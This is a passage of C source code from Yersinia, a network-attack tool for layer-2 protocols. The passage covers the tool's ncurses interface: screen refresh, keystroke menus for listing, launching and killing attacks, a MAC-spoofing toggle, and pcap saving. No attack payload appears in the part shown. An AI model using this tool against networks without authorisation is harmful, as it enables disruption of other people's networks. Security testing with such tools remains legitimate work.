int8_t); #endif
C
yersinia/src/ncurses-callbacks.c
/* ncurses-callbacks.c * Implementation for ncurses callbacks * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #include <stdarg.h> #include <netinet/tcp.h> #ifdef SOLARIS #include <pthread.h> #include <thread.h> #else #include <pthread.h> #endif #include "ncurses-gui.h" #include "ncurses-callbacks.h" #include "ncurses-interface.h" /* * Refresh main window */ void ncurses_c_refresh_mwindow( u_int8_t mode, WINDOW *mwindow, u_int8_t pointer, struct term_node *node ) { u_int8_t i, row, col, j, offset, tlv, k, position, max_len; char *ptrtlv; char timebuf[19], **values, meaningbuf[NCURSES_MWINDOW_MAX_FIELD_LENGTH+1]; struct term_console *term_console; struct tm *aux; struct commands_param *params; struct commands_param_extra *extra_params=NULL; time_t this_time; tlv = 0; max_len = 0; values = NULL; term_console = node->specific; params = (struct commands_param *) protocols[mode].parameters; // if (protocols[mode].extra_nparams) extra_params = (struct commands_param_extra *) protocols[mode].extra_parameters; getmaxyx(stdscr,row,col); #ifdef CAN_RESIZE if (term_console->need_resize) { /* if (delwin(mwindow) == ERR) thread_error("Error in delwin", errno); if ((mwindow = newwin(row-5, col, 0, 0)) == NULL) thread_error("Error in newwin", errno);*/ #ifdef HAVE_NCURSES_WRESIZE wresize(mwindow, row-NCURSES_BWINDOW_SIZE, col); werase(mwindow); #endif term_console->need_resize--; // write_log(0, "Resize mwindow con %d row y %d col y resize es %d\n", row, col, term_console->need_resize); } #endif offset = (col > NCURSES_MIN_COLS)? (col - NCURSES_MIN_COLS) / 2 : 0; wattron(mwindow, COLOR_PAIR(5) | A_BOLD); box(mwindow,ACS_VLINE,ACS_HLINE); this_time = time(NULL); aux = localtime(&this_time); if (aux != NULL) mvwprintw(mwindow, 0, col-11, "[%02d:%02d:%02d]", aux->tm_hour, aux->tm_min, aux->tm_sec); mvwprintw(mwindow, row-NCURSES_BWINDOW_SIZE-2, 1 + offset, " Total Packets: %d ", packet_stats.global_counter.total_packets); mvwprintw(mwindow, row-NCURSES_BWINDOW_SIZE-2, 60 + offset, " MAC Spoofing [ ] "); if (node->mac_spoofing) mvwprintw(mwindow, row-NCURSES_BWINDOW_SIZE-2, 75 + offset, "X"); mvwprintw(mwindow, 0, 3, " %s %s by Slay & tomac - %s mode ", PACKAGE, VERSION, protocols[mode].namep); mvwprintw(mwindow, row-NCURSES_BWINDOW_SIZE-2, 30 + offset, " %s Packets: %d ", protocols[mode].namep, protocols[mode].packets); wattroff(mwindow, COLOR_PAIR(5) | A_BOLD); wattron(mwindow, A_BOLD); position = 1; for (i = 0; i < protocols[mode].nparams; i++) { if (params[i].mwindow) { mvwprintw(mwindow, 1, position + offset, "%s", params[i].ldesc); if (params[i].meaning) { max_len = parser_get_max_field_length(params[i].meaning); position += (( MAX2(max_len, strlen(params[i].ldesc)) > NCURSES_MWINDOW_MAX_FIELD_LENGTH) ? NCURSES_MWINDOW_MAX_FIELD_LENGTH : MAX2(max_len, strlen(params[i].ldesc))) + 1; } else position += (params[i].size_print > strlen(params[i].ldesc) ? params[i].size_print : strlen(params[i].ldesc)) + 1; } } for (i = 0; i < protocols[mode].extra_nparams; i++) { if (extra_params[i].mwindow) { mvwprintw(mwindow, 1, position + offset, "%s", extra_params[i].ldesc); if (extra_params[i].meaning) { max_len = parser_get_max_field_length(extra_params[i].meaning); position += (( MAX2(max_len, strlen(params[i].ldesc)) > NCURSES_MWINDOW_MAX_FIELD_LENGTH) ? NCURSES_MWINDOW_MAX_FIELD_LENGTH : MAX2(max_len, strlen(params[i].ldesc))) + 1; } else position += (extra_params[i].size_print > strlen(extra_params[i].ldesc) ? extra_params[i].size_print : strlen(extra_params[i].ldesc)) + 1; } } mvwprintw(mwindow, 1, 58 + offset, "Iface"); mvwprintw(mwindow, 1, 64 + offset, "Last seen"); wattroff(mwindow, A_BOLD); for (i=0; i < MAX_PACKET_STATS; i++) { if (protocols[mode].stats[i].header->ts.tv_sec > 0) { if (protocols[mode].get_printable_packet) { if ((values = (*protocols[mode].get_printable_packet)(&protocols[mode].stats[i])) == NULL) { write_log(0, "Error in get_printable_packet (mode %d)\n", mode); wrefresh(mwindow); return; } } else { write_log(0, "Warning: there is no get_printable_packet for protocol %d\n", mode); wrefresh(mwindow); return; } if (i == pointer) wattron(mwindow, COLOR_PAIR(5) | A_BOLD); wmove(mwindow, i+2, 1); whline(mwindow, ' ', COLS-2); position = 1; k = 0; for (j = 0; j < protocols[mode].nparams; j++) { /*write_log(0, "param es %s\n", params[j].ldesc);*/ if ((params[j].type != FIELD_IFACE) && (params[j].type != FIELD_DEFAULT) && (params[j].type != FIELD_EXTRA)) { if (params[j].mwindow) { /*write_log(0, "values es %s\n", values[k]);*/ if (params[j].meaning) { snprintf(meaningbuf, NCURSES_MWINDOW_MAX_FIELD_LENGTH + 1, "%s", parser_get_meaning(values[k], params[j].meaning)); if (strlen(meaningbuf) == NCURSES_MWINDOW_MAX_FIELD_LENGTH) meaningbuf[NCURSES_MWINDOW_MAX_FIELD_LENGTH-1] = '|'; mvwprintw(mwindow, i + 2, position + offset, "%s", meaningbuf); max_len = parser_get_max_field_length(params[j].meaning); position += (( MAX2(max_len, strlen(params[j].ldesc)) > NCURSES_MWINDOW_MAX_FIELD_LENGTH) ? NCURSES_MWINDOW_MAX_FIELD_LENGTH : MAX2(max_len, strlen(params[j].ldesc))) + 1; } else { mvwprintw(mwindow, i + 2, position + offset, "%s", values[k]); position += (params[j].size_print > strlen(params[j].ldesc) ? params[j].size_print : strlen(params[j].ldesc)) + 1; } } k++; } } if ((protocols[mode].extra_nparams > 0)) { tlv = k; for (j = 0; j < protocols[mode].extra_nparams; j++) { if (extra_params[j].mwindow) { mvwprintw(mwindow, i + 2, position + offset, "%*c", extra_params[j].size_print, ' '); ptrtlv = values[tlv]; while ((ptrtlv) && (strncmp((char *)ptrtlv, extra_params[j].ldesc, strlen(extra_params[j].ldesc)) != 0)) { //write_log(0, "joe ptr es a%sa\n", ptrtlv); ptrtlv += strlen((char *)ptrtlv) + 1; } if (ptrtlv) { ptrtlv += strlen((char *)ptrtlv) + 1; //write_log(0, "ptrtlv values es %s\n", ptrtlv); if (extra_params[j].meaning) { //snprintf(meaningbuf, NCURSES_MWINDOW_MAX_FIELD_LENGTH, "%s %s", ptrtlv, parser_get_meaning(ptrtlv, extra_params[j].meaning)); snprintf(meaningbuf, NCURSES_MWINDOW_MAX_FIELD_LENGTH + 1, "%s", parser_get_meaning(ptrtlv, extra_params[j].meaning)); if (strlen(meaningbuf) == NCURSES_MWINDOW_MAX_FIELD_LENGTH) meaningbuf[NCURSES_MWINDOW_MAX_FIELD_LENGTH-1] = '|'; mvwprintw(mwindow, i + 2, position + offset, "%s", meaningbuf); max_len = parser_get_max_field_length(extra_params[j].meaning); position += (( MAX2(max_len, strlen(params[j].ldesc)) > NCURSES_MWINDOW_MAX_FIELD_LENGTH) ? NCURSES_MWINDOW_MAX_FIELD_LENGTH : MAX2(max_len, strlen(params[j].ldesc))) + 1; } else { mvwprintw(mwindow, i + 2, position + offset, "%s", ptrtlv); position += (extra_params[j].size_print > strlen(extra_params[j].ldesc) ? extra_params[j].size_print : strlen(extra_params[j].ldesc)) + 1; } } else { mvwprintw(mwindow, i + 2, position + offset, "???"); position += (extra_params[j].size_print > strlen(extra_params[j].ldesc) ? extra_params[j].size_print : strlen(extra_params[j].ldesc)) + 1; /* position += extra_params[j].size_print; */ } } } } mvwprintw(mwindow, i+2, 58 + offset, "%s", protocols[mode].stats[i].iface); strftime(timebuf, 19, "%d %b %H:%M:%S", localtime((time_t *)&protocols[mode].stats[i].header->ts)); mvwprintw(mwindow, i+2, 64 + offset, "%s", timebuf); if (i == pointer) wattroff(mwindow, COLOR_PAIR(5) | A_BOLD); k = 0; if (values) { while(values[k]) { free(values[k]); k++; } free(values); } } /* if (protocols->tv_sec) */ } /* for i < MAX_PACKET_STATS */ wrefresh(mwindow); } /* * Refresh panels */ void ncurses_c_refresh(void) { /* refresh the panels */ update_panels(); /* Show it on the screen */ doupdate(); } /* * Main engine catching keystrokes */ void ncurses_c_engine(WINDOW *my_wins[], PANEL *my_panels[], struct term_node *node) { int32_t key, key_pressed, max, proto_key; int ret ; u_int8_t end, i, j, k, secs, mode, used, keys[MAX_PROTOCOLS]; fd_set read_set, rset; struct timeval timeout; dlist_t *p; struct interface_data *iface_data; for (i = 0; i < MAX_PROTOCOLS; i++) pointer[i] = 0; end = 0; /* default initial mode */ mode = NCURSES_DEFAULT_MODE; keypad(my_wins[MAIN_SCREEN], TRUE); secs = 0; j = 0; timeout.tv_sec = 0; timeout.tv_usec = 0; FD_ZERO(&read_set); FD_SET(fileno(stdin), &read_set); while (!end && !terms->gui_th.stop) { max = 0; FD_ZERO(&rset); rset = read_set; if ((ret = select(max + 1, &rset, NULL, NULL, &timeout)) == -1) { thread_error("select", errno); timeout.tv_sec = 0; timeout.tv_usec = 500000; return; } if (!ret) /* Timeout...*/ { if (j%2) /* 1 sec!! */ { j=0; if (secs == NCURSES_REFRESH_TIME) { ncurses_c_refresh_bwindow(mode, my_wins[SEC_SCREEN], node); ncurses_c_refresh_mwindow(mode, my_wins[MAIN_SCREEN], pointer[mode], node); secs = 0; } else secs++; } else j++; } else { key_pressed = wgetch(my_wins[MAIN_SCREEN]); switch(key_pressed) { /* Help screen */ case '?': case 'H': case 'h': ncurses_i_help_screen(mode, my_wins[HELP_SCREEN], my_panels[HELP_SCREEN]); break; /* Edit BPDU fields */ case 'E': case 'e': ncurses_c_edit_bwindow(mode, my_wins[MAIN_SCREEN], my_wins[SEC_SCREEN], node); break; /* About */ case 'A': case 'a': ncurses_i_splash_screen(my_wins[SPLASH_SCREEN], my_panels[SPLASH_SCREEN]); break; /* List Attacks */ case 'l': ncurses_i_list_attacks(my_wins[LIST_ATTACKS], node); break; /* List capture files */ case 'f': ncurses_i_list_filecaps(my_wins[LIST_FILECAPS], node); break; case KEY_DOWN: if ( (pointer[mode] < MAX_PACKET_STATS - 1) && (protocols[mode].stats[pointer[mode] + 1].header->ts.tv_sec > 0)) { pointer[mode]++; ncurses_c_refresh_mwindow(mode, my_wins[MAIN_SCREEN], pointer[mode], node); } break; case KEY_UP: if (pointer[mode] > 0) { pointer[mode]--; ncurses_c_refresh_mwindow(mode, my_wins[MAIN_SCREEN], pointer[mode], node); } break; case 'K': key = ncurses_i_getconfirm(node, " Confirmation before nuclear war!!", "You will kill *ALL* attacks from *ALL* protocols... Are you sure?", " Killing attacks from ALL protocols "); if (key == 'y') attack_kill_th(node, ALL_ATTACK_THREADS); break; case 'c': interfaces_clear_stats(mode); wclear(my_wins[MAIN_SCREEN]); pointer[mode] = 0; ncurses_c_set_status_line(" Clearing Mode stats... "); break; case 'C': interfaces_clear_stats(PROTO_ALL); wclear(my_wins[MAIN_SCREEN]); memset(pointer,0,sizeof(pointer)); ncurses_c_set_status_line(" Clearing stats... "); break; case 'd': if (protocols[mode].init_attribs) (*protocols[mode].init_attribs)(node); else { write_log(0, "Warning: no init_attribs for mode %d\n", mode); } break; /* Set MAC Spoofing on/off */ case 'M': node->mac_spoofing = !node->mac_spoofing; break; /* Clear screen */ case KEY_CTRL_L: clearok(stdscr, TRUE); clearok(my_wins[MAIN_SCREEN], TRUE); clearok(my_wins[SEC_SCREEN], TRUE); break; /* ENTER. Show info about the selected item */ case 13: if (protocols[mode].packets) ncurses_i_show_info(mode, my_wins[MAIN_SCREEN], pointer[mode], node); break; /* View packet */ case 'v': if (protocols[mode].packets) ncurses_i_view_packet(mode, my_wins[MAIN_SCREEN], pointer[mode]); break; case 'I': case 'i': ncurses_i_ifaces_screen(node, my_wins[IFACE_SCREEN], my_panels[IFACE_SCREEN]); break; /* Save data */ case 'S': if (node->pcap_file.pdumper) { if (ncurses_i_error_window(1, "Error: pcap_file is in use at %s", node->pcap_file.name) < 0) ncurses_gui_th_exit(node); } else { char *filename = (char *)calloc(1,FILENAME_MAX+1); if (filename == NULL) { thread_error(" ncurses_engine calloc",errno); ncurses_gui_th_exit(node); } if (ncurses_i_getstring_window(node, " Stealing data? Tsk, tsk...", filename, FILENAME_MAX, " Enter pcap filename for ALL protocols") < 0) { free(filename); ncurses_gui_th_exit(node); } /* Take the first active interface for saving data */ p = interfaces->list; while(p) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up) { if (filename[0] && interfaces_pcap_file_open(node, PROTO_ALL, filename, iface_data->ifname) < 0) { free(filename); ncurses_gui_th_exit(node); } break; } else p = dlist_next(interfaces->list, p); } /* No interface found*/ if (p == NULL) ncurses_i_error_window(1, "Error: there is no active interface"); if (filename) free(filename); } break; case 's': if (node->protocol[mode].pcap_file.pdumper) { if (ncurses_i_error_window(1, "Error: pcap_file is in use at %s", node->protocol[mode].pcap_file.name) < 0) ncurses_gui_th_exit(node); } else { char *filename = (char *)calloc(1,FILENAME_MAX+1); if (filename == NULL) { thread_error(" ncurses_engine calloc",errno); ncurses_gui_th_exit(node); } if (ncurses_i_getstring_window(node, " Stealing data? Tsk, tsk...", filename, FILENAME_MAX, " Enter pcap filename for current protocol") < 0) { free(filename); ncurses_gui_th_exit(node); } /* Take the first valid interface for saving data */ p = interfaces->list; while(p) { iface_data = (struct interface_data *) dlist_data(p); if (iface_data->up) { if (filename[0] && interfaces_pcap_file_open(node, mode, filename, iface_data->ifname) < 0) { free(filename); ncurses_gui_th_exit(node); } break; } else p = dlist_next(interfaces->list, p); } /* No interface found*/ if (p == NULL) ncurses_i_error_window(1, "Error: there is no active interface"); if (filename) free(filename); } break; /* Learn da packet */ case 'L': ncurses_c_learn_packet(mode, pointer[mode], node); break; /* Display implemented attacks */ case 'X': case 'x': ncurses_i_attack_screen(node, mode, my_wins[ATTACK_SCREEN], my_panels[ATTACK_SCREEN]); break; /* Write configuration file */ case 'W': case 'w': for (i = 0; i < MAX_PROTOCOLS; i++) { if (protocols[i].visible) memcpy((void *)protocols[i].default_values, (void *)node->protocol[i].tmp_data, protocols[i].size); } if (strlen(tty_tmp->config_file) == 0) { char *filename = (char *)calloc(1,FILENAME_MAX+1); if (filename == NULL) { thread_error(" ncurses_engine calloc",errno); ncurses_gui_th_exit(node); } if (ncurses_i_getstring_window(node, " Save the world ", filename, FILENAME_MAX, " Enter configuration filename ") < 0) { free(filename); ncurses_gui_th_exit(node); } if (strlen(filename)!=0) strncpy(tty_tmp->config_file, filename, FILENAME_MAX); else { free(filename); break; } } if (parser_write_config_file(tty_tmp) < 0) ncurses_i_error_window(1, "Error opening config file %s", tty_tmp->config_file); break; /* Quit (bring da noize) */ case 'Q': case 'q': end = 1; break; case KEY_F(1): case KEY_F(2): case KEY_F(3): case KEY_F(4): case KEY_F(5): case KEY_F(6): case KEY_F(7): case KEY_F(8): case KEY_F(9): case KEY_F(10): case KEY_F(11): case KEY_F(12): for(used=0,k=0,i=0;i<MAX_PROTOCOLS;i++) { if (protocols[i].visible) { keys[k]=i; k++; used++; } } if ( (key_pressed - KEY_F0 - 1) < used) { proto_key = keys[key_pressed - KEY_F0 - 1]; if (mode != proto_key) { mode = proto_key; wclear(my_wins[MAIN_SCREEN]); wclear(my_wins[SEC_SCREEN]); } } break; case 'g': if ((ret = ncurses_i_get_mode(mode, my_wins[MAIN_SCREEN])) >= 0) { mode = ret; wclear(my_wins[MAIN_SCREEN]); wclear(my_wins[SEC_SCREEN]); } break; #ifdef KEY_RESIZE case KEY_RESIZE: ncurses_c_term_resize(node); break; #endif case ERR: thread_error("Error in wgetch", errno); ncurses_gui_th_exit(NULL); break; default: break; } } ncurses_c_refresh_bwindow(mode, my_wins[SEC_SCREEN], node); ncurses_c_refresh_mwindow(mode, my_wins[MAIN_SCREEN], pointer[mode], node); timeout.tv_sec = 0; timeout.tv_usec = 500000; } /* while */ } /* * Refresh the fields window (Bottom window) */ void ncurses_c_refresh_bwindow(u_int8_t mode, WINDOW *bwindow, struct term_node *node) { int32_t offset, row, col, position, lastposition; struct term_console *term_console; u_int8_t **store_values = NULL; u_int8_t i, k, lastusedrow; struct commands_param *params; term_console = node->specific; getmaxyx(stdscr,row,col); #ifdef CAN_RESIZE if (term_console->need_resize) { /* if (delwin(bwindow) == ERR) thread_error("Error in delwin", errno); if ((bwindow = newwin(5, col, row-5, 0)) == NULL) thread_error("Error in newwin", errno);*/ #ifdef HAVE_NCURSES_WRESIZE wresize(bwindow, NCURSES_BWINDOW_SIZE, col); mvwin(bwindow, row-NCURSES_BWINDOW_SIZE, 0); werase(bwindow); #endif term_console->need_resize--; //write_log(0, "Resize bwindow con %d row y %d col y resize es %d\n", row, col, term_console->need_resize); } #endif offset = (col > NCURSES_MIN_COLS)? (col - NCURSES_MIN_COLS) / 2 : 0; if (protocols[mode].get_printable_store) { if ((store_values = (u_int8_t **)(*protocols[mode].get_printable_store)(node)) == NULL) { write_log(0, "Error in get_printable_store (mode %d)\n", mode); return; } } else { write_log(0, "Warning: there is no get_printable_store for protocol %d\n", mode); return; } wattron(bwindow, COLOR_PAIR(2)); box(bwindow,ACS_VLINE,ACS_HLINE); mvwprintw(bwindow, 0, 3, " %s Fields ", protocols[mode].namep); params = (struct commands_param *) protocols[mode].parameters; lastusedrow = 1; lastposition = 0; /* We have 5 rows in the bwindow */ for (row = 1; row <= 5; row++) { position = 2; k = 0; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == row) { lastusedrow = row; wattron(bwindow, COLOR_PAIR(2)); mvwprintw(bwindow, row, position + offset, "%s", params[i].ldesc); position += strlen(params[i].ldesc) + 1; wattroff(bwindow, COLOR_PAIR(2)); mvwprintw(bwindow, row, position + offset, "%s", store_values[k]); position += params[i].size_print + 1; } k++; } } /* No more rows */ if (row != lastusedrow) break; lastposition = position; } /* Extra parameters */ if (protocols[mode].extra_nparams > 0) { wattron(bwindow, COLOR_PAIR(2)); mvwprintw(bwindow, lastusedrow, lastposition + offset, "Extra"); } i = 0; while (store_values[i]) { free(store_values[i]); i++; } if (store_values) free(store_values); wrefresh(bwindow); } /* * Edit BPDU Fields */ void ncurses_c_edit_bwindow( u_int8_t mode, WINDOW *mwindow, WINDOW *bwindow, struct term_node *node ) { u_int8_t i, state; int32_t key_pressed, result; int8_t end_edit; u_int32_t y, x, col, row, offset, initial, start; struct commands_param *params; char *buffer, old_value; buffer = (char *)malloc( 1024 ); if ( ! buffer ) return ; initial = 0; state = 0; start = 0; ncurses_c_set_status_line(" Edit those nasty fields; press 'x' for Extra values "); /* We want a BIG cursor */ curs_set(1); getmaxyx(stdscr, row, col); offset = (col > NCURSES_MIN_COLS)? (col - NCURSES_MIN_COLS) / 2 : 0; params = protocols[mode].parameters; for (i = 0; i < protocols[mode].nparams; i++) { if (params[i].row == 1) { initial = strlen(params[i].ldesc) + offset + 2 + 1; start = initial; state = i; break; } } keypad(bwindow, TRUE); wmove(bwindow, 1, initial); wrefresh(bwindow); wtimeout(bwindow,NCURSES_KEY_TIMEOUT); /* Block for 100 millisecs...*/ end_edit = 0; while (!end_edit && !terms->gui_th.stop) { do { key_pressed = wgetch(bwindow); } while ( (key_pressed == ERR) && !terms->gui_th.stop); if (terms->gui_th.stop) break; getyx(bwindow, y, x); switch(key_pressed) { case 27: /* ESC */ case 13: /* ENTER */ end_edit = 1; break; case KEY_UP: if (ncurses_c_north(mode, offset, &y, &x, &state, &start) == 0) wmove(bwindow, y, x); break; case KEY_DOWN: if (ncurses_c_south(mode, offset, &y, &x, &state, &start) == 0) wmove(bwindow, y, x); break; case KEY_RIGHT: if (ncurses_c_east(mode, offset, &y, &x, &state, &start) == 0) wmove(bwindow, y, x); break; case KEY_LEFT: if (ncurses_c_west(mode, offset, &y, &x, &state, &start) == 0) wmove(bwindow, y, x); break; case 'x': if (protocols[mode].extra_parameters > 0) ncurses_i_edit_tlv(node, mode); break; case 9: /* TAB */ if (params[state].meaning) { curs_set(0); if ((result = ncurses_i_popup_window(bwindow, params[state].meaning, state)) != ERR) { snprintf(buffer, 1024, "%d", result); parser_filter_param(params[state].type, node->protocol[mode].commands_param[state], buffer, params[state].size_print, params[state].size); } curs_set(1); ncurses_c_refresh_bwindow(mode, bwindow, node); /* fix to come back to the position */ wmove(bwindow, y, x); } break; default: if ((params[state].type == FIELD_HEX) || (params[state].type == FIELD_MAC) || (params[state].type == FIELD_BRIDGEID) || (params[state].type == FIELD_BYTES)) { if (!isxdigit(key_pressed)) /* only hexadecimal characters are allowed */ break; } else if ((params[state].type == FIELD_DEC) || (params[state].type == FIELD_IP)) { if (!isdigit(key_pressed)) break; } else if (params[state].type == FIELD_STR) { if (!isascii(key_pressed)) break; } else /* FIELD_NONE */ break; old_value = mvwinch(bwindow, y, x); mvwaddch(bwindow, y, x, toupper(key_pressed) | A_BOLD); memset((void *)buffer, 0, 1024 ); mvwinnstr(bwindow, y, start, buffer, params[state].size_print); if (parser_filter_param(params[state].type, node->protocol[mode].commands_param[state], buffer, params[state].size_print, params[state].size) < 0) { mvwaddch(bwindow, y, x, old_value); wmove(bwindow, y ,x); } else { if (ncurses_c_east(mode, offset, &y, &x, &state, &start) == 0) wmove(bwindow, y, x); } break; } if (params[state].meaning) ncurses_c_set_status_line(" Press TAB for available values "); else ncurses_c_set_status_line(""); } free( buffer ); keypad(bwindow, FALSE); /* Hide the cursor */ curs_set(0); ncurses_c_set_status_line(" Edit mode is over "); } int8_t ncurses_c_learn_packet(u_int8_t mode, u_int8_t pointer, struct term_node *node) { ncurses_c_set_status_line(" Packet learnt. Ouch! "); if (protocols[mode].load_values) return (*protocols[mode].load_values)((struct pcap_data *)&protocols[mode].stats[pointer], node->protocol[mode].tmp_data); else { write_log(0, "Warning: no load_values in protocol %d\n", mode); return -1; } } int8_t ncurses_c_set_status_line(char *msg) { u_int8_t row, col, size; getmaxyx(stdscr, row, col); size = strlen(msg); /* Clear the last status line */ werase(info_window); //wmove(info_window, 0, 1); if (size) { wattron(info_window, COLOR_PAIR(3)); if (size > row) mvwaddnstr(info_window, 0, 0, msg, row - 1); else mvwaddnstr(info_window, 0, 0, msg, size); } /* Nice */ /* wmove(info_window, 0, 1);*/ wrefresh(info_window); return 0; } int8_t ncurses_c_term_resize(struct term_node *node) { #ifdef CAN_RESIZE struct winsize size; struct term_console *term_console; term_console = node->specific; if (ioctl(fileno(stdout), TIOCGWINSZ, &size) == 0) { if ((size.ws_row < NCURSES_MIN_ROWS) || (size.ws_col < NCURSES_MIN_COLS)) ncurses_i_error_window(1, "Hmmm.. %d rows and %d cols are \ not supported for a proper display!!!!. You need at least \ %d rows and %d cols.", size.ws_row, size.ws_col, NCURSES_MIN_ROWS, NCURSES_MIN_COLS); else { #ifdef HAVE_NCURSES_RESIZETERM resizeterm(size.ws_row, size.ws_col); #else resize_term(size.ws_row, size.ws_col); #endif resize_term(size.ws_row, size.ws_col); wrefresh(curscr); /* Linux needs this */ term_console->need_resize = 2; } } else thread_error("Error in ioctl", errno); #endif return 0; } /* Functions needed for editing the bwindow values */ int8_t ncurses_c_north(u_int8_t mode, u_int32_t offset, u_int32_t *row, u_int32_t *pos, u_int8_t *state, u_int32_t *start) { struct commands_param *params; u_int8_t position, i, last_state; u_int32_t last; last = 0; last_state = 0; params = (struct commands_param *) protocols[mode].parameters; if (*row == 1) return -1; /* Up by one */ (*row)--; position = offset + 2; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == *row) { position += strlen(params[i].ldesc) + 1; *start = position; last = position; last_state = i; if (*pos < (position + params[i].size_print)) { *pos = position; *state = i; return 0; } position += params[i].size_print + 1; } } } *pos = last; *state = last_state; return 0; } int8_t ncurses_c_south(u_int8_t mode, u_int32_t offset, u_int32_t *row, u_int32_t *pos, u_int8_t *state, u_int32_t *start) { struct commands_param *params; u_int8_t position, i, last_valid; params = (struct commands_param *) protocols[mode].parameters; if (*row == 5) return -1; /* Down by one */ (*row)++; last_valid = 0; position = offset + 2; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == *row) { position += strlen(params[i].ldesc) + 1; *start = position; if (*pos < (position + params[i].size_print)) { *pos = position; *state = i; return 0; } last_valid = i; position += params[i].size_print + 1; } } } /* Are there rows in the next row? */ if (position == (offset + 2)) { (*row)--; return -1; } *pos = position - params[last_valid].size_print - 1; *state = last_valid; return 0; } int8_t ncurses_c_east(u_int8_t mode, u_int32_t offset, u_int32_t *row, u_int32_t *pos, u_int8_t *state, u_int32_t *start) { struct commands_param *params; u_int8_t position, i, next_state; next_state = 0; params = (struct commands_param *) protocols[mode].parameters; position = offset + 2; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == *row) { position += strlen(params[i].ldesc) + 1; *start = position; if (next_state) { (*pos) = position; *state = i; return 0; } if ( (position < ((*pos) + 1) && (((*pos) + 1)) < (position + params[i].size_print))) { (*pos)++; if ((params[i].type ==FIELD_MAC) && (((*pos) - position + 1) % 3 == 0)) (*pos)++; else if ((params[i].type ==FIELD_BRIDGEID) && (((*pos) - position + 1) == 5)) (*pos)++; else if ((params[i].type ==FIELD_IP) && (((*pos) - position + 1) % 4 == 0)) (*pos)++; *state = i; return 0; } position += params[i].size_print + 1; if ( (*pos + 1) == (position - 1)) { next_state = 1; } } } } return 0; } int8_t ncurses_c_west(u_int8_t mode, u_int32_t offset, u_int32_t *row, u_int32_t *pos, u_int8_t *state, u_int32_t *start) { struct commands_param *params; u_int8_t position, i, prev_state; u_int32_t prev_pos; prev_state = 0; prev_pos = 0; params = (struct commands_param *) protocols[mode].parameters; position = offset + 2; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == *row) { position += strlen(params[i].ldesc) + 1; *start = position; if ( (*pos == position) && (prev_pos > 0)) { *pos = prev_pos; *state = prev_state; } if ( (position <= ((*pos) - 1) && (((*pos) - 1)) < (position + params[i].size_print))) { (*pos)--; if ((params[i].type ==FIELD_MAC) && (((*pos) - position + 1) % 3 == 0)) (*pos)--; else if ((params[i].type ==FIELD_BRIDGEID) && (((*pos) - position + 1) == 5)) (*pos)--; else if ((params[i].type ==FIELD_IP) && (((*pos) - position + 1) % 4 == 0)) (*pos)--; *state = i; return 0; } position += params[i].size_print + 1; prev_pos = position - 2; prev_state = i; } } } return 0; }
C/C++
yersinia/src/ncurses-callbacks.h
/* ncurses_callbacks.h * Definitions for the ncurses callbacks * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __NCURSES_CALLBACKS_H__ #define __NCURSES_CALLBACKS_H__ #if defined(USE_NCURSES) && !defined(RENAMED_NCURSES) #include <ncurses.h> #else #include <curses.h> #endif #ifdef HAVE_PANEL_H #include <panel.h> #endif #include <ctype.h> #include "thread-util.h" #include "terminal-defs.h" #include "admin.h" #include "interfaces.h" #include "attack.h" #include "parser.h" #define ERRORMSG_SIZE 512 #define NCURSES_MIN_ROWS 25 #define NCURSES_MIN_COLS 80 #define NCURSES_REFRESH_TIME 2 #define NCURSES_BWINDOW_SIZE 7 #define NCURSES_KEY_TIMEOUT 250 #define KEY_CTRL_L 12 #define PARAM_SCREEN 10 #define LIST_FILECAPS 9 #define LIST_ATTACKS 8 #define IFACE_SCREEN 7 #define MAIN_SCREEN 6 #define SEC_SCREEN 5 #define ATTACK_SCREEN 4 #define INFO_SCREEN 3 #define 